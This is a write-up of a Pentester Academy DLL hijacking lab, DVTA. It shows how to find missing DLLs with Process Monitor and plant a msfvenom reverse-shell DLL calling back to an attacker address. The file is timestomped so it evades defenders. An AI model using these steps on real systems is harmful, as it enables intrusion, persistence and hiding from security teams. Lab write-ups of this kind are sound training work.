Pentester Academy: DLL Hijacking
Pentester Academy put out a challenge to do a write-up on their DLL Hijacking lab called: DVTA. I do like my DLL tricks because once embedded they are harder to track down by the blue team. Very hard to do a query for this by looking at a system’s instance. It takes referring back to a “gold standard” or some image disk that most teams loose track of after deployment (may times referred to as drift). With that, let’s jump in.
First, I’ll start with understanding what dll’s cannot be hijacked. To find those, just look at the registry key to see what is being forbidden by Windows.
So as we start to go on the hunt for dlls we can hijack, these are the ones on the no-go list (without doing some library signing but this doesn’t involve that). Second, I know that DLLs are searched in an order. I always go to the documentation here to validate: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order. From there, there are two options: SafeDllSearchMode and not. In our case, it is not:
So now we know what the order looks like, let’s extract the default path loaded in the environment variables:
So there is the path that I can put DLLs (in that order). So with that knowledge, now it is time to go check out the EXE they gave us and see what it needs. On the target machine, they provided “ProcMon64.exe” which is the sysinternals process monitor. Let’s run that and put in a few filters to find our items:
- Go to “Filter-> Filter” and add in “Process name is DVTA.exe Include”, “Result is NAME NOT FOUND Include”, and “Operation is CreateFile Include”.
- After hitting apply, you can see all the dlls it tried to load but couldn’t. Looking at the path directory, what can we write to?
So it looks like we got quite a few options here. Since we are the administrator, we could pick just about anything. In this case, we can pick something that will hide well. What hides well? Well, writing to the “Microsoft.NET” directories is going to be very suspicious with us writing a new file (with a new timestamp) in these directories. Secondly, it may BREAK something else that runs on the system. How many other programs tried to open this dlls and didn’t find it? In this case, I feel pretty safe running the in the “dvta” directory (and anyone that runs dvta is going to give me a shell back!). So let’s pick that one. Of course if I didn’t know I could write to it, I should check with this:
So now that I’ve committed to using C:\Users\Administrator\Desktop\dvta\bin\Release\DWrite.dll, let’s make the exploit. I’ve got a basic shell on my github, but this challenge is self-contained and I’m not in to cutting/pasting that much. So, I’ll leverage msfvenom to create the payload with: “msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.22.2 LPORT=12345 -f dll > Dwrite.dll” and we now have something. I fire up a hosting spot with “python3 -m http.server” and now I can go grab it. Once I grab it, I can verify it is there:
As you can see, it is there now. However, it sticks out like a sore thumb. So, let’s do a little timestomping to get it to blend it better.
That will make the blue team work a little harder. So, now let’s see if it works. Start a listener on your attacker box (you verified you can reach it because it downloaded the file, so that was good) and then re-run the DVTA.exe. Now when it runs, we get a success in procmon so we know it ran. Now check your listener and NOTHING! What the heck went wrong? Let’s bring up process monitor and see:
So, above we built a 64-bit payload because we were on a 64-bit architecture. However, this is running a 32-bit executable, so we need a 32-bit payload!
And now we get a shell back from the windows box! Payloads matter and we assumed that because the OS was 64-bit, our payload should match. Our payload has to match what is being exploited, which is the application (running in a 32-bit space). That’s the challenge. Once we have this kind of control, the options are limitless! Catch you next time.